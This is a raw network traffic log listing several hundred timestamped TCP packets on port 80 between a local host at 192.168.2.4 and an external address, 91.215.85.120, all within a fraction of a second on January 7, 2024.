Jan 7, 2024 05:29:24.480304956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480324030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480361938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480449915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480482101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480494022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480531931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480556011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480606079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480667114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480703115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480741978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480782032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480788946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480846882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480918884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.480961084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.480982065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481020927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481024981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481081009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481118917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481138945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481158018 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481188059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481220961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481266022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481314898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481353998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481374979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481401920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481446981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481470108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481509924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481532097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481606960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481648922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481692076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481709957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481750965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.481775999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.481823921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482048988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482095957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.482115030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482156038 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.482623100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482687950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482791901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482839108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.482844114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.482882023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.483055115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.483146906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.483215094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.483261108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.483288050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.483339071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.483460903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.483541012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484081030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484154940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.484186888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484234095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.484261036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484361887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484415054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484457970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.484471083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484513044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.484534979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484611034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484715939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484755039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.484800100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.484843969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.485279083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.485359907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.485430956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.485477924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.485518932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.485563040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.485997915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486143112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486221075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486270905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.486278057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486319065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.486494064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486629963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486694098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486731052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.486737013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.486773014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.486946106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487035036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487106085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487153053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487164021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487202883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487224102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487272978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487314939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487353086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487459898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487520933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487565041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487584114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487624884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487768888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487843990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487912893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.487966061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.487986088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.488032103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.490087986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490144968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490197897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.490219116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490344048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490411043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490453005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.490477085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490516901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.490550041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.490609884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491134882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491177082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.491352081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491394997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.491420031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491530895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491647959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491695881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.491733074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491774082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.491854906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.491938114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492026091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492065907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492105007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492152929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492237091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492317915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492425919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492466927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492536068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492579937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492624998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492693901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492769957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492815971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492858887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.492911100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.492966890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493012905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493052959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493097067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493139029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493177891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493241072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493283987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493344069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493396044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493426085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493510962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493552923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493566036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493609905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493695021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493737936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493774891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493818998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493868113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.493907928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.493976116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494009972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494045973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494085073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494142056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494210005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494223118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494262934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494345903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494426012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494440079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494481087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494611979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494648933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494667053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494712114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494735956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494777918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494786024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494832039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.494910955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.494951010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.495014906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.495055914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.495104074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.495146036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.495199919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.495243073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.495621920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.495676041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.495683908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.495722055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.498545885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.498619080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.498677015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.504401922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.509435892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.512152910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.554400921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.554461002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.653425932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.653507948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.653512001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.653553963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.668370962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.668417931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.668440104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.668472052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.668975115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.669034004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.669121027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.669189930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.669991016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670058966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670080900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670133114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670141935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670176983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670186043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670217991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670254946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670299053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670346022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670387030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670447111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670516968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670563936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670883894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670953989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.670952082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.670996904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.671117067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.671199083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.671240091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.671334028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.672943115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.672991037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.673047066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.673172951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.673702955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.673753023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.673825979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.674084902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.674427986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.674484015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.674539089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.674601078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.674645901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.674748898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.674848080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.675029039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.675728083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.675792933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.675822973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.675874949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676099062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676167011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676198959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676223993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676260948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676301956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676363945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676403999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676441908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676487923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676512003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676553965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676584959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676623106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676629066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676661968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676778078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676865101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.676940918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.676965952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677010059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677036047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677078962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677160025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677203894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677620888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677674055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677704096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677787066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677788973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677828074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.677835941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.677882910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678137064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678184032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678222895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678261042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678280115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678314924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678406000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678462029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678520918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678567886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678579092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678613901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678651094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678706884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678745985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.678839922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.678966045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679040909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679064035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679101944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679301977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679399014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679450035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679461002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679490089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679560900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679644108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679825068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679862976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679863930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679905891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.679919958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.679961920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680037022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680119991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:24.680161953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:24.680192947 CET	80	49735	91.215.85.120	192.168.2.4
